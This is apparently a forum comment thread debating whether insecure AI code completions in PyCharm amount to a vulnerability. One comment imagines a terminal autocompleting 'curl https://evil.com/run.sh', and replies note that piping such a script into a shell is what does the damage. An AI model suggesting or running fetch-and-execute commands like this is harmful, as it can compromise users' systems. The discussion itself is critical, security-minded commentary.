Are insecure code completions in PyCharm a vulnerability?

mgc8•10 minutes ago

Maybe not a vulnerability per se, but definitely conducing to ones, as others have noted. However, those completions are quite unfortunate to say the least, thus one would hope JetBrains would endeavour to improve the local (S)LM they're using, or at least offer the user the option to use one of their own, better tuned ones instead?

sph•20 minutes ago

Waiting for the first terminal with AI autocompletion.

  $ curl http<tab>

  $ curl https://evil.com/run.sh

Then you’re just an enter away from causing havoc on your system.

mgc8•13 minutes ago

Well, technically it's not the curl itself that is the problem, but the "| <shell>" coming afterwards that does the damage. So, if the process is somehow broken up into 1) curl <the_script>; 2) analyse <the_script> and 3) only if safe, then execute <the_script> -- then it's not nearly as bad. Of course, that "analyse" step does all the heavy lifting, and if it happens to involve some form of local LLM then... excitement is guaranteed as they say.

chmod775•16 minutes ago

Still missing the pipe into sh.

sph•8 minutes ago

Ah too late to edit. That is what I meant

chmod775•17 minutes ago

It's only a vulnerability if you absolve humans of responsibility and demote them to "meatbag vehicle for checking in LLM code".

stephantul•about 1 hour ago

It’s an interesting question: I’d say this is more of a vulnerability creator than the actual vulnerability.

Similar to how using very difficult technologies makes you more likely to create code with vulnerabilities: the technologies are not the vulnerability, but it’s easier to cause them.

marcosdumay•about 2 hours ago

Well, the plugin developers can't really do anything about it.

And it's the one thing the LLM developers have been trying to fix for the last 2 years. Apparently, even at the cost of some other functionality. It's not like they can do it reliably.

frumplestlatz•31 minutes ago

What is “monster-in-the-middle” and why is it being used in place of (presumably) “man-in-the-middle”?

runningmike•43 minutes ago

“ Are insecure code completions a vulnerability?” No it might be a potential security weakness. Semantics matters.

Are insecure code completions in PyCharm a vulnerability?

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